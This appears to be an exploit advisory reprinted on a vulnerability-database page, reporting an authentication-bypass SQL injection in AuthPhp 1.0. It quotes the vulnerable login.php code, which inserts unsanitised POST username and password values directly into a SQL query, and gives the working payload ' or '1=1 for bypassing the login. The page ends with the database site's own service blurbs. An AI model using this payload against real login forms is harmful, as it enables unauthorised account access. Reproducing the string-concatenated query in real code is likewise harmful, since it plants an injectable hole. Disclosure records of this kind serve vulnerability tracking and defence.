Lucene search
K

AuthPhp 1.0 (Auth Bypass) SQL Injection Vulnerability

🗓️ 10 Feb 2009 00:00:00Reported by x0rType 
zdt
 zdt
🔗 0day.today👁 11 Views

AuthPhp 1.0 (Auth Bypass) SQL Injection Vulnerability, the login.php file vulnerability is present in AuthPhp 1.0

Code
=====================================================
AuthPhp 1.0 (Auth Bypass) SQL Injection Vulnerability
=====================================================



#########################################################################################
[0x01] Informations:

Name           : AuthPhp 1.0
Download       :
http://frankmancuso.ca/downloads/authphp/authphp-stable-1.0.zip
Vulnerability  : Auth Bypass
Author         : x0r
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
{
	$username = $_POST['username'];
	$passwd = $_POST['passwd'];
	
	// Call mysql class
	$db = new db;
	$db->connect();
	$sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################



#  0day.today [2018-01-26]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation